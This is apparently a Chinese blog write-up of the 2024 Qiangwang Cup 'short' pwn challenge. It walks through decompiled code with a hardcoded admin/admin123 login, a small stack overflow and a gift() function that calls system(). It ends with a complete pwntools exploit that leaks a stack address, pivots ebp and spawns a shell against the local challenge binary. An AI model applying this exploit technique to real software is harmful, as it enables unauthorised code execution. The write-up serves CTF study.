2024强网杯pwn short wp
这时2024强网杯的pwn部分的short的WP
分析以下程序的基本安全措施
*] '/home/ysly/solve/tmp/short'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
除了NX其他都没有
接下来放到ghidra里分析以下漏洞,主要寻找read,gets,之类的输入函数
先看一下主入口逻辑,判断输入点
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 main(void)
{
int iVar1;
undefined *puVar2;
puVar2 = &stack0x00000004;
setbuf(_stdout,(char *)0x0);
setbuf(_stderr,(char *)0x0);
iVar1 = login(puVar2);
if (iVar1 == 0) {
puts("Login failed. Incorrect username or password.");
}
else {
vuln();
}
return 0;
}
此处有登陆,只有成功之后才可以继续执行,所以为了有利用可能,去看看登陆逻辑
undefined4 login(void)
{
size_t sVar1;
int iVar2;
char local_8c [64];
char local_4c [68];
printf("Enter your username: ");
fgets(local_4c,0x40,_stdin);
sVar1 = strcspn(local_4c,"\n");
local_4c[sVar1] = '\0';
printf("Enter your password: ");
fgets(local_8c,0x40,_stdin);
sVar1 = strcspn(local_8c,"\n");
local_8c[sVar1] = '\0';
iVar2 = strcmp(local_4c,"admin");
if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
return 1;
}
return 0;
}
很明显输入用户名admin,密码admin123即可登陆成功
在去vuln函数看看
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
undefined buf [76];
puts("You are now in vuln! Please enter extra data:");
printf("You will input this: %p\n",buf);
puts("plz input your msg:\n");
read(0,buf,88);
return;
}
可以读入88个字节,单数buff有76个字节,所以有88-76=12个字节溢出 12 = 4+4+4 分别可以覆盖ebp,ret,extra 4字节
但是这里是静态分析,只可以参考(实际上只可以覆盖到ret地址)
查看其他函数
发现一个gift函数
undefined4 gift(char *param_1)
{
system(param_1);
return 0;
}
如果可以控制参数,便可得到shell
下面动态分析
在vuln函数中
printf("You will input this: %p\n",buf);
泄漏了ebp地址,毕竟函数的变量都是ebp-x 来寻址的,所以buf的地址一定是buf - x , 而x是一个固定的指,于是可以泄漏出ebp的地址
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
# 登陆
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
#不要第一行
p.recvline()
#一些处理,获得buff地址
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
# 静态分析buff地址是有一个0x50偏移,
ebp = raw-0x50
print("leak ebp",hex(ebp))
这里发现可以输入0x58个数据,从ebp-0x50开始输入
0x8048660 <vuln+79> push 0x58
► 0x8048662 <vuln+81> lea eax, [ebp - 0x50] EAX => 0xffffc878 —▸ 0xf7fc1440 ◂— 0xf7fc1440
0x8048665 <vuln+84> push eax
0x8048666 <vuln+85> push 0
0x8048668 <vuln+87> call read@plt <read@plt>
于是我们可以控制leven 是ebp地址和ret是的rip地址
这里在想到了用栈迁移
因为前面gift函数,看一下汇编部分
0x80485e6 <gift>: push ebp
0x80485e7 <gift+1>: mov ebp,esp
0x80485e9 <gift+3>: push ebx
0x80485ea <gift+4>: sub esp,0x4
0x80485ed <gift+7>: call 0x80487e1 <__x86.get_pc_thunk.ax>
0x80485f2 <gift+12>: add eax,0x1a0e
0x80485f7 <gift+17>: sub esp,0xc
0x80485fa <gift+20>: push DWORD PTR [ebp+0x8]
0x80485fd <gift+23>: mov ebx,eax
0x80485ff <gift+25>: call 0x80484a0 <system@plt>
0x8048604 <gift+30>: add esp,0x10
0x8048607 <gift+33>: mov eax,0x0
0x804860c <gift+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804860f <gift+41>: leave
0x8048610 <gift+42>: ret
在call system之前是将ebp + 0x8 作为参数的
在执行leven 和ret后,ebp和eip可以被控制
现在我们可以控制eip和ebp
于是我们可以伪造一个ebp使得epb+8指向/bin/sh
并且让eip去执行这个call,就可以得到shell
现在攻击链如下
1.劫持ebp,eip
2.找到/bin/sh
3.执行call system
因为之前通过泄漏知道了buff的地址,我们可以向buff写入/bin/sh,然后就一切顺利
以下是全部的wp
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
# free junk
p.recvline()
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
ebp = raw-0x50
print("leak ebp",hex(ebp))
sh_addr =0x0804a038
fake_ebp = raw -8
payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
在程序中存在/bin/sh字符,为什么我不用呢
因为我用过,打不通,暂时不清楚为什么
2024强网杯pwn short wp的更多相关文章
- 强网杯2018 pwn复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
- 强网杯web之假的反序列化漏洞
说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...
- 从2021强网杯的一道题学习docx文件操作
[强网先锋]寻宝 啊对就是这道题,大佬们都贼快,菜如我还得慢慢整 key1 大佬们都一笔带过,哎,虽然简单,但是也别这么虐我们啊 我来简单写一下吧 <?php header('Content-t ...
- 第二届强网杯-simplecheck
这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 细说强网杯Web辅助
本文首发于“合天智汇”公众号 作者:Ch3ng 这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程 题目源码 index.php 获取我们传入的user ...
随机推荐
- Synology NAS GitLab 配置
安装 安装的时候会提示服务器名.root用户名等,这步服务器名千万不要写错,不然会登不上去,提示 502. root 密码 网上有很多说 root 密码怎么获取的,但是都不适用. 实际上是第一个访问 ...
- ABC304Ex Constrained Topological Sort 题解
https://atcoder.jp/contests/abc304/tasks/abc304_h [CSP-S 2023] 种树后半部分的加强版 对于边 \((u,v)\),不妨令 $r[u]$ 对 ...
- 一文搞懂Cortex-A9 ADC裸机和基于Linux驱动编写方法
前言 在嵌入式开发中,ADC应用比较频繁,本文主要讲解ADC的基本原理以及如何编写基于ARM的裸机程序和基于Linux的驱动程序. ARM架构:Cortex-A9 Linux内核:3.14 在讲述AD ...
- Github 通义千问模型测试
通义千问 大模型安装 相关地址 https://github.com/QwenLM/Qwen2-Audio/blob/main/README_CN.md PS C:\Users\supermao> ...
- RealNet:从数据生成到模型训练的最新工业异常检测 | CVPR 2024
论文提出了一种创新的自监督异常检测框架RealNet,集成了三个核心组件:可控制强度的扩散异常合成(SDAS).异常感知特征选择(AFS)和重构残差选择(RRS).这些组件通过协同作用,使RealNe ...
- Word格式刷快捷键失效恢复方法
突然某天写材料的时候发现word格式刷快捷键变成了Ctrl+Alt+C和Ctrl+Alt+V,用着这个别扭,于是探索如何改回Ctrl+Shift+C和Ctrl+Shift+V,下边是步骤记录. 打开w ...
- 蓝松SDK版本更新至【4.8.0】
[Android更新] 1. android增加低精度模型,一些低端机也可以流畅抠图. 2. android针对直播机硬件做了特定API,并C语言开源. 3. 视频编辑引出帧解码图层, 允许外界异步形 ...
- LuCI Themes
Bootstrap Bootstrap Light Bootstrap Light 就是 Bootstrap Bootstrap Dark Material OpenWrt OpenWrt 2020
- 1055 - Expression #9 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'xxx.xxx.xxx' which is not functionally ...;this is incompatible with sql_mode=only_full_group_by
MySQL 8 的默认 sql_mode 包含了only_full_group_by,如果想要sql不按照这模式做检查,可以设置当前session的sql_mode值不包含oly_full_group ...
- 分布式缓存应用场景与redis持久化机制
redis 参考目录: 生产级Redis 高并发分布式锁实战1:高并发分布式锁如何实现 https://www.cnblogs.com/yizhiamumu/p/16556153.html 生产级Re ...